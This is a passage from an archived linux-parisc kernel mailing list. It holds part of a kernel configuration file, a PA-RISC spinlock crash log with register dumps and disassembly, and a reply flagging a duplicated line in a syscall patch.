CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_DS3232 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_ISL12022 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set
# CONFIG_RTC_DRV_EM3027 is not set
# CONFIG_RTC_DRV_RV3029C2 is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
CONFIG_UIO=m
# CONFIG_UIO_CIF is not set
# CONFIG_UIO_PDRV is not set
# CONFIG_UIO_PDRV_GENIRQ is not set
# CONFIG_UIO_AEC is not set
# CONFIG_UIO_SERCOS3 is not set
# CONFIG_UIO_PCI_GENERIC is not set
# CONFIG_UIO_NETX is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_BALLOON is not set
# CONFIG_STAGING is not set
CONFIG_IOMMU_SUPPORT=y
# CONFIG_VIRT_DRIVERS is not set

#
# File systems
#
CONFIG_EXT2_FS=m
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=m
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
CONFIG_EXT3_FS_XATTR=y
# CONFIG_EXT3_FS_POSIX_ACL is not set
# CONFIG_EXT3_FS_SECURITY is not set
CONFIG_EXT4_FS=m
CONFIG_EXT4_FS_XATTR=y
# CONFIG_EXT4_FS_POSIX_ACL is not set
# CONFIG_EXT4_FS_SECURITY is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD=m
# CONFIG_JBD_DEBUG is not set
CONFIG_JBD2=m
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=m
CONFIG_REISERFS_FS=m
# CONFIG_REISERFS_CHECK is not set
CONFIG_REISERFS_PROC_INFO=y
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
CONFIG_XFS_FS=m
# CONFIG_XFS_QUOTA is not set
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
# CONFIG_XFS_DEBUG is not set
# CONFIG_GFS2_FS is not set
CONFIG_BTRFS_FS=m
CONFIG_BTRFS_FS_POSIX_ACL=y
CONFIG_NILFS2_FS=m
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=m
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=m
# CONFIG_CUSE is not set
CONFIG_GENERIC_ACL=y

#
# Caches
#
CONFIG_FSCACHE=m
# CONFIG_FSCACHE_STATS is not set
# CONFIG_FSCACHE_HISTOGRAM is not set
# CONFIG_FSCACHE_DEBUG is not set
# CONFIG_FSCACHE_OBJECT_LIST is not set
CONFIG_CACHEFILES=m
# CONFIG_CACHEFILES_DEBUG is not set
# CONFIG_CACHEFILES_HISTOGRAM is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_LOGFS is not set
CONFIG_CRAMFS=y
# CONFIG_SQUASHFS is not set
CONFIG_VXFS_FS=m
CONFIG_MINIX_FS=m
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
CONFIG_ROMFS_FS=m
CONFIG_ROMFS_BACKED_BY_BLOCK=y
CONFIG_ROMFS_ON_BLOCK=y
# CONFIG_PSTORE is not set
CONFIG_SYSV_FS=m
CONFIG_UFS_FS=m
# CONFIG_UFS_FS_WRITE is not set
# CONFIG_UFS_DEBUG is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
# CONFIG_NFS_V4 is not set
# CONFIG_NFS_FSCACHE is not set
CONFIG_NFSD=m
CONFIG_NFSD_V2_ACL=y
CONFIG_NFSD_V3=y
CONFIG_NFSD_V3_ACL=y
# CONFIG_NFSD_V4 is not set
CONFIG_LOCKD=m
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=m
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
CONFIG_RPCSEC_GSS_KRB5=m
# CONFIG_CEPH_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=m

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=2048
CONFIG_MAGIC_SYSRQ=y
# CONFIG_STRIP_ASM_SYMS is not set
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
CONFIG_HEADERS_CHECK=y
CONFIG_DEBUG_SECTION_MISMATCH=y
CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_SHIRQ=y
CONFIG_LOCKUP_DETECTOR=y
# CONFIG_HARDLOCKUP_DETECTOR is not set
CONFIG_BOOTPARAM_HARDLOCKUP_PANIC=y
CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=1
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=y
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=1
CONFIG_DETECT_HUNG_TASK=y
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_PI_LIST=y
# CONFIG_RT_MUTEX_TESTER is not set
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
# CONFIG_SPARSE_RCU_POINTER is not set
CONFIG_DEBUG_ATOMIC_SLEEP=y
CONFIG_DEBUG_LOCKING_API_SELFTESTS=y
# CONFIG_DEBUG_STACK_USAGE is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
CONFIG_RCU_CPU_STALL_TIMEOUT=60
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_DEBUG_PER_CPU_MAPS is not set
# CONFIG_LKDTM is not set
# CONFIG_CPU_NOTIFIER_ERROR_INJECT is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_SYSCTL_SYSCALL_CHECK=y
# CONFIG_DEBUG_PAGEALLOC is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
# CONFIG_BUILD_DOCSRC is not set
# CONFIG_DYNAMIC_DEBUG is not set
CONFIG_ATOMIC64_SELFTEST=y
# CONFIG_SAMPLES is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_DEBUG_RODATA is not set
# CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP=m
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_NULL=m
# CONFIG_CRYPTO_PCRYPT is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
CONFIG_CRYPTO_CCM=m
CONFIG_CRYPTO_GCM=m
CONFIG_CRYPTO_SEQIV=m

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
CONFIG_CRYPTO_CTR=m
CONFIG_CRYPTO_CTS=m
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_GHASH=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=m
CONFIG_CRYPTO_MICHAEL_MIC=m
CONFIG_CRYPTO_RMD128=m
CONFIG_CRYPTO_RMD160=m
CONFIG_CRYPTO_RMD256=m
CONFIG_CRYPTO_RMD320=m
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_BLOWFISH=m
# CONFIG_CRYPTO_CAMELLIA is not set
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_SALSA20=m
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
CONFIG_CRYPTO_ZLIB=m
CONFIG_CRYPTO_LZO=m

#
# Random Number Generation
#
CONFIG_CRYPTO_ANSI_CPRNG=m
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_HIFN_795X=m
# CONFIG_CRYPTO_DEV_HIFN_795X_RNG is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
CONFIG_CRC_T10DIF=m
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
# CONFIG_CRC8 is not set
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_COMPRESS=m
CONFIG_LZO_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_CPU_RMAP=y
CONFIG_NLATTR=y
# CONFIG_AVERAGE is not set
# CONFIG_CORDIC is not set

--Apple-Mail-4-977747550
Content-Disposition: attachment; filename="toc-20110731-1.txt"
Content-Type: text/plain; x-unix-mode=0644; name="toc-20110731-1.txt"
Content-Transfer-Encoding: quoted-printable

=EF=BB=BF[deleted]
Calibrating delay loop... 1594.36 BogoMIPS (lpj=3D3188736)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 256
Brought up 1 CPUs
BUG: spinlock bad magic on CPU#0, kworker/u:0/10
 lock: 000000004059b130, .magic: 00000000, .owner: <none>/-1, =
.owner_cpu: 0
Backtrace:
 [<0000000040116370>] dump_stack+0x18/0x28
 [<00000000402d2db8>] spin_bug+0xd8/0x120
 [<00000000402d2eb4>] do_raw_spin_lock+0xb4/0x200
 [<000000004011a72c>] _raw_spin_lock_irqsave+0x2c/0x40
 [<0000000040119fc0>] __down_write_nested+0x30/0x150
 [<000000004011a0f4>] __down_write+0x14/0x20
 [<00000000401192ec>] down_write+0x3c/0x50
 [<000000004027d5bc>] exit_shm+0x2c/0x80
 [<000000004015c4bc>] do_exit+0x2e4/0x430
 [<0000000040171658>] ____call_usermodehelper+0x1c8/0x1e8
 [<000000004010407c>] ret_from_kernel_thread+0x24/0x40

BUG: spinlock lockup on CPU#0, kworker/u:0/10, 000000004059b130
Backtrace:
 [<0000000040116370>] dump_stack+0x18/0x28
 [<00000000402d2f40>] do_raw_spin_lock+0x140/0x200
 [<000000004011a72c>] _raw_spin_lock_irqsave+0x2c/0x40
 [<0000000040119fc0>] __down_write_nested+0x30/0x150
 [<000000004011a0f4>] __down_write+0x14/0x20
 [<00000000401192ec>] down_write+0x3c/0x50
 [<000000004027d5bc>] exit_shm+0x2c/0x80
 [<000000004015c4bc>] do_exit+0x2e4/0x430
 [<0000000040171658>] ____call_usermodehelper+0x1c8/0x1e8
 [<000000004010407c>] ret_from_kernel_thread+0x24/0x40


-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000040655a10  0000000040119af8  =
000000004058d228
04-07  0000000040638210  000000004058d228  000000004058d22c  =
0000000000000001
08-11  0000000000000000  0000000040521210  0000000000000001  =
0000000000000000
12-15  000000004068c3c0  0000000040655a10  ffffffffc0000000  =
0000000040126f80
16-19  000000007f0d4230  000000007f07ea90  0000000000000000  =
0000000000000001
20-23  000000000800000e  0000000040592ec0  0000000000000001  =
0000000040592ec0
24-27  0000000000000000  0000000000000000  000000004058d22c  =
0000000040638210
28-31  000000000800000f  000000007f0d4490  000000007f0d44c0  =
0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
08-11  0000000000000000  0000000000000000  00000000000000c0  =
0000000000000000
12-15  0000000000000000  0000000000000000  0000000000103000  =
c000000000000000
16-19  000001e32c71c5f0  0000000000000000  0000000040119ca4  =
00000000e840d002
20-23  0000000000000000  0000000000000000  000000ff082cfb0e  =
8000000000000000
24-27  0000000000595000  0000000000595000  ffffffffffffffff  =
ffffffffffffffff
28-31  ffffffffffffffff  ffffffffffffffff  000000007f0d4000  =
9001013408940001

Space Registers 0 - 7
00-03  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000

IIA Space (back entry)       =3D 0x0000000000000000
IIA Offset (back entry)      =3D 0x0000000040119c88
CPU State                    =3D 0x9e000000

0000000040119c78 <_raw_spin_lock_irqsave>:
    40119c78:   00 01 0e 7c     rsm 1,ret0
    40119c7c:   d3 93 1b ff     extrw,u ret0,31,1,r19    40119c80:   0f =
40 15 df     ldcw,co 0(r26),r31
=3D>  40119c84:   8f e0 20 32     cmpib,<>,n 0,r31,40119ca4 =
<_raw_spin_lock_irqsav
e+0x2c>
    40119c88:   0f 40 10 9f     ldw 0(r26),r31
    40119c8c:   bf e0 3f dd     cmpb,*<> r0,r31,40119c80 =
<_raw_spin_lock_irqsave
+0x8>
    40119c90:   08 00 02 40     nop
    40119c94:   86 60 20 1a     cmpib,=3D,n 0,r19,40119ca8 =
<_raw_spin_lock_irqsave
+0x30>
    40119c98:   00 01 0d 60     ssm 1,r0
    40119c9c:   00 01 0e 60     rsm 1,r0
    40119ca0:   e8 1f 1f c7     b,l,n 40119c88 =
<_raw_spin_lock_irqsave+0x10>,r0    40119ca4:   e8 40 d0 02     bve,n =
(rp)
    40119ca8:   e8 1f 1f b7     b,l,n 40119c88 =
<_raw_spin_lock_irqsave+0x10>,r0
    40119cac:   00 00 00 00     break 0,0


0000000040119ac8 <__down_write_nested>:
    40119ac8:   0f c2 12 c1     std rp,-10(sp)
    40119acc:   37 de 01 80     ldo c0(sp),sp    40119ad0:   37 dd 3f a1 =
    ldo -30(sp),ret1
    40119ad4:   73 c6 3e d1     std r6,-98(sp)
    40119ad8:   37 46 00 08     ldo 4(r26),r6
    40119adc:   73 c5 3e e1     std r5,-90(sp)
    40119ae0:   08 1a 02 45     copy r26,r5
    40119ae4:   08 06 02 5a     copy r6,r26
    40119ae8:   73 c4 3e f1     std r4,-88(sp)
    40119aec:   08 1b 02 44     copy dp,r4
    40119af0:   e8 00 a3 00     b,l 40119c78 <_raw_spin_lock_irqsave>,rp
    40119af4:   73 c3 3f 01     std r3,-80(sp)
=3D>  40119af8:   08 04 02 5b     copy r4,dp


--Apple-Mail-4-977747550--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] wire up sysmmsg syscall
Date: Sun, 31 Jul 2011 23:46:07 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <CA+DQjFgbOy=VV0omtN6QKmzkEbP6kxwYtCFZ4MFwybTXDEav-g@mail.gmail.com>
References: <1311950222.8190.43.camel@mulgrave>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1312148795 11967 80.91.229.12 (31 Jul 2011 21:46:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 31 Jul 2011 21:46:35 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 31 23:46:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qndq9-0001pj-0U
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jul 2011 23:46:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752718Ab1GaVq2 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jul 2011 17:46:28 -0400
Original-Received: from mail-yi0-f46.google.com ([209.85.218.46]:44278 "EHLO
	mail-yi0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752656Ab1GaVq1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jul 2011 17:46:27 -0400
Original-Received: by yia27 with SMTP id 27so3180646yia.19
        for <linux-parisc@vger.kernel.org>; Sun, 31 Jul 2011 14:46:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=SLVCG2KC3HhWu1bOlLr5FFTspBTFWaU/2FHlVxl7560=;
        b=k40wuNi4CNJf3eeDYdOLCQ9pt36O4fZl8rtNfY1L0hvq37vEH5P/9mXaxn4acVp17n
         s7sbQxgBt4UYvVm10VzTXUW1Nw9KBRmTz39H9/R3Fmd+YIiOPu59bO/qWesoIgiNDljD
         YJl80PXYNWXw49qcJtFRfnoKWVhnrISMlru8M=
Original-Received: by 10.151.148.6 with SMTP id a6mr335494ybo.178.1312148787098; Sun,
 31 Jul 2011 14:46:27 -0700 (PDT)
Original-Received: by 10.150.225.5 with HTTP; Sun, 31 Jul 2011 14:46:07 -0700 (PDT)
In-Reply-To: <1311950222.8190.43.camel@mulgrave>
X-Google-Sender-Auth: jLg2bDgxlXYEhf6MdmSjUMz8mvA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3896
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3896>

Hi James,

On Fri, Jul 29, 2011 at 4:37 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
>
> ---
>
> diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/a=
sm/unistd.h
> index 3392de3..276df1c 100644
> --- a/arch/parisc/include/asm/unistd.h
> +++ b/arch/parisc/include/asm/unistd.h
> @@ -821,8 +821,10 @@
> =C2=A0#define __NR_open_by_handle_at (__NR_Linux + 326)
> =C2=A0#define __NR_syncfs =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0(_=
_NR_Linux + 327)
> =C2=A0#define __NR_setns =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 (_=
_NR_Linux + 328)
> +#define __NR_setns =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 (__NR_L=
inux + 328)

^ I may be wrong but this looks like a spurious "+", just reading this =
patch...

HTH

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH, PA-RISC] Fix SMP cache related HPMCs running libgomp testsuite
Date: Sun, 31 Jul 2011 18:11:43 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <BLU0-SMTP33BC220C6C43A14F8BF18697390@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-58-983138103"
X-Trace: dough.gmane.org 1312150327 19405 80.91.229.12 (31 Jul 2011 22:12:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 31 Jul 2011 22:12:07 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 01 00:12:03 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QneEs-0001pf-V2
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Aug 2011 00:12:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752928Ab1GaWMB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jul 2011 18:12:01 -0400
